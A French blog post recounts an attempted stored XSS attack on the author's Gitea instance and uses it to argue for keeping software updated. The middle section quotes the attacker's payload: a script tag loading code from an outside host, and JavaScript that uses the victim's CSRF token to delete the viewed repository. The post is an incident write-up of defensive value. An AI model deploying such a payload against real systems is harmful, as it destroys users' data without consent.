Certaines personnes semblent l’affirmer dur comme fer que les mises à jour sont inutiles parce que ça casse tout et j’en passe.

C’est donc pour cela que j’aimerais vous évoquer une des utilités des mises à jour à travers une histoire vraie où je suis passé très très, mais très près d’exploitation réussie d’une faille XSS présente sur les versions de Gitea inférieures à 1.3.3.

La petite histoire

Il était environ 22h30 quand j’allais tranquillement sur mon instance Gitea aller chercher une archive quand je vis quelque chose de louche. Un titre qui ressemblait à pas grand chose:

Les titres qui ne ressemblaient à rien

(PS: Le nom d’utilisateur ne resemblait aussi à rien; j’ai supprimé le compte par la suite)

Forcément, je veux bien savoir ce qui se cachait derrière cette chose… Et je découvre, avec horreur, ceci en titre:

asd <script>t=location.pathname.split("/").slice(1,3);fetch("/"+t[0]+"/"+t[1]+"/settings",{credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"},method:"POST",body:"action=delete&_csrf="+document.querySelector("m

Du script. Et là, je me rappelle avoir du l’issue #3510 du repository qui explicitait un exploit possible du XSS dans les titres. Autant vous dire que j’ai eu très froid au dos. Et l’histoire ne s’arrête pas là: le script était tronqué.

Dans un autre titre, j’ai vu du

<script src="https://298347.bitballoon.com/error.js"></script>

qui chargait le script

var t=location.pathname.split("/").slice(1,3);
fetch(
"/"+t[0]+"/"+t[1]+"/settings",{
credentials:"include",
headers:{
"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"},
method:"POST",
body:"action=delete&_csrf="+document.querySelector("meta[name='_csrf']").content+"&repo_name="+encodeURIComponent(t[1])});

Autant dire que j’étais content d’avoir uMatrix à ce moment là ! Un bon XSS persistant bien dangereux comme on les aime. Pour ceux qui n’ont rien capté au script: il supprime le repository sur lequel le script est exécuté.

Et comment j’ai réagi ?

Forcément, j’ai tout de suite passé de 1.4.0-rc1 à 1.3.3 parce que security first et ensuite DROPé l’IP en question.

PS 22.02.2018: Qqn m’a fait une remarque par mail concernant l’opération effectuée. Elle a l’air d’un downgrade depuis une version pre-release à une release stable, certes. Mais ce n’est pas là que je voulais absolument me concentrer (et ce n’était d’ailleurs pas le meilleur exemple pour illustrer); l’important était qu’en faisant une mise à jour, je puisse fixer une faille existante qui aurait pu être exploitée avec succès si le titre n’était pas tronqué ou mon nvaigateur un minimum blindé.

Le mot de la fin

Avant de dire que les mises à jour sont inutiles, cassent tout et d’autres mots plus absurdes les uns que les autres, dites vous que vous vous protégez d’une faille potentielle qui sera tôt ou tard exploitée contre vous et vos clients / utilisateurs. De plus, vous vous débarassez de bugs et ajoutez quelques nouvelles fonctionnalités quand l’occasion vient.